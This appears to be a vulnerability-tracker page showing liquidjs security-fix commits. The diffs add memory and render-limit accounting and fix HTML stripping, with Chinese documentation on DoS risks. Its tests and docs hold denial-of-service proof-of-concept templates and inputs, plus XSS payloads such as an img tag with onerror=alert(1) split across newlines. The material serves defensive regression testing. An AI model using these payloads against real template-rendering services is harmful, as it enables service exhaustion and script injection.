    +换句话说,`memoryLimit` 限制的是 LiquidJS 的“已记账分配”,而不是进程里每一个字节的分配。
    +
    +即使模板和迭代次数较少,内存使用量也可能呈指数增长。在下面的示例中,内存会在每次迭代中翻倍:
    +
    +```liquid
    +{% assign array = "1,2,3" | split: "," %}
    +{% for i in (1..32) %}
    +    {% assign array = array | concat: array %}
    +{% endfor %}
    +```
    +
    +由于 [JavaScript 使用 GC 来管理内存](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management),`memoryLimit` 可能无法反映实际的内存占用。
    +
    +## 在线服务建议
    +
    +如果你运行在线服务,建议尽量避免渲染完全由用户定义的模板。
    +
    +- 优先使用受控模板或受限模板子集。
    +- 如果必须支持用户自定义模板,请隔离渲染(worker/进程/容器),并同时配置操作系统或容器级的内存/CPU 限额与请求限流。
    +- 将 `parseLimit` / `renderLimit` / `memoryLimit` 视为 DoS 防护体系中的一层,而不是唯一防线。
    +
    +对于单个模板中的重型操作,仍建议使用进程级隔离(例如 [paralleljs][paralleljs])。
    +
    +[paralleljs]: https://www.npmjs.com/package/paralleljs
    +[parseLimit]: /api/interfaces/LiquidOptions.html#parseLimit
    +[renderLimit]: /api/interfaces/LiquidOptions.html#renderLimit
    +[memoryLimit]: /api/interfaces/LiquidOptions.html#memoryLimit
    
  • docs/themes/navy/languages/en.yml+1 1 modified
    @@ -51,7 +51,7 @@ sidebar:
         plugins: Plugins
         operators: Operators
         truth: Truthy and Falsy
    -    dos: DoS
    +    security_model: Security Model
         static_analysis: Static Analysis
     
         miscellaneous: Miscellaneous
    
  • docs/themes/navy/languages/zh-cn.yml+1 1 modified
    @@ -51,7 +51,7 @@ sidebar:
         plugins: 插件
         operators: 运算符
         truth: 真和假
    -    dos: DoS
    +    security_model: 安全模型
         static_analysis: 静态分析
     
         miscellaneous: 其他
    
  • src/filters/date.ts+7 5 modified
    @@ -3,13 +3,14 @@ import { FilterImpl } from '../template'
     import { NormalizedFullOptions } from '../liquid-options'
     
     export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {
    -  const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)
    +  const size = ((v as string)?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)
       this.context.memoryLimit.use(size)
       const date = parseDate(v, this.context.opts, timezoneOffset)
       if (!date) return v
       format = toValue(format)
       format = isNil(format) ? this.context.opts.dateFormat : stringify(format)
    -  return strftime(date, format)
    +  this.context.memoryLimit.use(format.length)
    +  return strftime(date, format, this.context.memoryLimit)
     }
     
     export function date_to_xmlschema (this: FilterImpl, v: string | Date) {
    @@ -31,13 +32,14 @@ export function date_to_long_string (this: FilterImpl, v: string | Date, type?:
     function stringify_date (this: FilterImpl, v: string | Date, month_type: string, type?: string, style?: string) {
       const date = parseDate(v, this.context.opts)
       if (!date) return v
    +  const ml = this.context.memoryLimit
       if (type === 'ordinal') {
         const d = date.getDate()
         return style === 'US'
    -      ? strftime(date, `${month_type} ${d}%q, %Y`)
    -      : strftime(date, `${d}%q ${month_type} %Y`)
    +      ? strftime(date, `${month_type} ${d}%q, %Y`, ml)
    +      : strftime(date, `${d}%q ${month_type} %Y`, ml)
       }
    -  return strftime(date, `%d ${month_type} %Y`)
    +  return strftime(date, `%d ${month_type} %Y`, ml)
     }
     
     function parseDate (v: string | Date, opts: NormalizedFullOptions, timezoneOffset?: number | string): LiquidDate | undefined {
    
  • src/util/strftime.ts+8 4 modified
    @@ -1,11 +1,13 @@
     import { changeCase, padStart, padEnd } from './underscore'
     import { LiquidDate } from './liquid-date'
    +import type { Limiter } from './limiter'
     
     const rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/
     interface FormatOptions {
       flags: object;
       width?: string;
       modifier?: string;
    +  memoryLimit?: Pick<Limiter, 'use'>;
     }
     
     // prototype extensions
    @@ -95,6 +97,7 @@ const formatCodes = {
       N: (d: LiquidDate, opts: FormatOptions) => {
         const width = Number(opts.width) || 9
         const str = String(d.getMilliseconds()).slice(0, width)
    +    opts.memoryLimit?.use(width - str.length)
         return padEnd(str, width, '0')
       },
       p: (d: LiquidDate) => (d.getHours() < 12 ? 'AM' : 'PM'),
    @@ -118,31 +121,32 @@ const formatCodes = {
     };
     (formatCodes as any).h = formatCodes.b
     
    -export function strftime (d: LiquidDate, formatStr: string) {
    +export function strftime (d: LiquidDate, formatStr: string, memoryLimit?: Pick<Limiter, 'use'>) {
       let output = ''
       let remaining = formatStr
       let match
       while ((match = rFormat.exec(remaining))) {
         output += remaining.slice(0, match.index)
         remaining = remaining.slice(match.index + match[0].length)
    -    output += format(d, match)
    +    output += format(d, match, memoryLimit)
       }
       return output + remaining
     }
     
    -function format (d: LiquidDate, match: RegExpExecArray) {
    +function format (d: LiquidDate, match: RegExpExecArray, memoryLimit?: Pick<Limiter, 'use'>) {
       const [input, flagStr = '', width, modifier, conversion] = match
       const convert = formatCodes[conversion]
       if (!convert) return input
       const flags = {}
       for (const flag of flagStr) flags[flag] = true
    -  let ret = String(convert(d, { flags, width, modifier }))
    +  let ret = String(convert(d, { flags, width, modifier, memoryLimit }))
       let padChar = padSpaceChars.has(conversion) ? ' ' : '0'
       let padWidth = width || padWidths[conversion] || 0
       if (flags['^']) ret = ret.toUpperCase()
       else if (flags['#']) ret = changeCase(ret)
       if (flags['_']) padChar = ' '
       else if (flags['0']) padChar = '0'
       if (flags['-']) padWidth = 0
    +  memoryLimit?.use(Number(padWidth) - ret.length)
       return padStart(ret, padWidth, padChar)
     }
    
  • src/util/underscore.ts+3 3 modified
    @@ -152,9 +152,9 @@ export function padEnd (str: any, length: number, ch = ' ') {
     
     export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {
       str = String(str)
    -  let n = length - str.length
    -  while (n-- > 0) str = add(str, ch)
    -  return str
    +  const n = length - str.length
    +  if (n <= 0) return str
    +  return add(str, ch.repeat(n))
     }
     
     export function identify<T> (val: T): T {
    
  • test/integration/filters/date.spec.ts+27 0 modified
    @@ -204,6 +204,33 @@ describe('filters/date', function () {
           return test('{{ "1990-12-31T23:00:00Z" | date: "%Y-%m-%dT%H:%M:%S" }}', '1991-01-01T04:30:00', undefined, optsWithDateFormat)
         })
       })
    +  describe('strftime width / memoryLimit', () => {
    +    it('should charge memoryLimit for huge numeric strftime widths', () => {
    +      const liquid = new Liquid({ memoryLimit: 500 })
    +      expect(() => liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' }))
    +        .toThrow('memory alloc limit exceeded')
    +    })
    +    it('should charge memoryLimit for array format PoC', () => {
    +      const liquid = new Liquid({ memoryLimit: 50, renderLimit: 1e9 })
    +      expect(() => liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: ['a'.repeat(2000000)] }))
    +        .toThrow('memory alloc limit exceeded')
    +    })
    +    it('should charge memoryLimit for object toString format PoC', () => {
    +      const liquid = new Liquid({ memoryLimit: 50, renderLimit: 1e9 })
    +      const huge = 'a'.repeat(2000000)
    +      const f = { toString: () => huge }
    +      expect(() => liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f }))
    +        .toThrow('memory alloc limit exceeded')
    +    })
    +    it('should honor numeric strftime pad width when memoryLimit allows', () => {
    +      const liquid = new Liquid({ memoryLimit: 1e7 })
    +      const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000d' })
    +      expect(out.length).toBe(5000)
    +      const tight = new Liquid({ memoryLimit: 100 })
    +      expect(() => tight.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000d' }))
    +        .toThrow('memory alloc limit exceeded')
    +    })
    +  })
     })
     describe('filters/date_to_xmlschema', function () {
       const liquid = new Liquid()
    
5b9c3469085e

fix: enforce renderLimit for empty renderTemplates calls (#894)

https://github.com/harttle/liquidjsYang JunMay 7, 2026Fixed in 10.26.0via ghsa-release-walk
2 files changed · +11 0
  • src/render/render.ts+1 0 modified
    @@ -15,6 +15,7 @@ export class Render {
         if (!emitter) {
           emitter = ctx.opts.keepOutputType ? new KeepingTypeEmitter() : new SimpleEmitter()
         }
    +    ctx.renderLimit.check(getPerformance().now())
         const errors = []
         for (const tpl of templates) {
           ctx.renderLimit.check(getPerformance().now())
    
  • test/integration/liquid/dos.spec.ts+10 0 modified
    @@ -48,6 +48,16 @@ describe('DoS related', function () {
           await expect(liquid.parseAndRender('{% render "large" %}')).rejects.toThrow('template render limit exceeded')
           await expect(liquid.parseAndRender('{% render "small" %}')).resolves.toBe('12345')
         })
    +    it('should enforce renderLimit when for body has no template nodes', () => {
    +      const liquid = new Liquid({ memoryLimit: 1e9, renderLimit: 1 })
    +      expect(() => liquid.parseAndRenderSync('{%- for i in (1..5000000) -%}{%- endfor -%}', {}))
    +        .toThrow('template render limit exceeded')
    +    })
    +    it('should enforce renderLimit when tablerow body has no template nodes', () => {
    +      const liquid = new Liquid({ memoryLimit: 1e9, renderLimit: 1 })
    +      expect(() => liquid.parseAndRenderSync('{%- tablerow i in (1..1000000) cols:1 -%}{%- endtablerow -%}', {}))
    +        .toThrow('template render limit exceeded')
    +    })
       })
       describe('#memoryLimit', () => {
         it('should throw for too many array creation in filters', async () => {
    
26ea2856c7a9

fix: strip html newline tags (#892)

https://github.com/harttle/liquidjsYang JunMay 3, 2026Fixed in 10.26.0via ghsa-release-walk
2 files changed · +6 1
  • src/filters/html.ts+1 1 modified
    @@ -45,5 +45,5 @@ export function newline_to_br (this: FilterImpl, v: string) {
     export function strip_html (this: FilterImpl, v: string) {
       const str = stringify(v)
       this.context.memoryLimit.use(str.length)
    -  return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<.*?>|<!--[\s\S]*?-->/g, '')
    +  return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<[\s\S]*?>|<!--[\s\S]*?-->/g, '')
     }
    
  • test/integration/filters/html.spec.ts+5 0 modified
    @@ -77,5 +77,10 @@ describe('filters/html', function () {
         it('should strip until empty', function () {
           return test('{{"<br/><br />< p ></p></ p >" | strip_html }}', '')
         })
    +    it('should strip generic tags spanning ASCII newlines inside the tag', function () {
    +      expect(liquid.parseAndRenderSync('{{"<img\nsrc=x\nonerror=alert(1)>" | strip_html}}')).toBe('')
    +      expect(liquid.parseAndRenderSync('{{"<img\rsrc=x\ronerror=alert(1)>" | strip_html}}')).toBe('')
    +      expect(liquid.parseAndRenderSync('{{"<svg\nonload=alert(1)>" | strip_html}}')).toBe('')
    +    })
       })
     })
    

Vulnerability mechanics

Synthesis attempt was rejected by the grounding validator. Re-run pending.

References

3

News mentions

0

No linked articles in our index yet.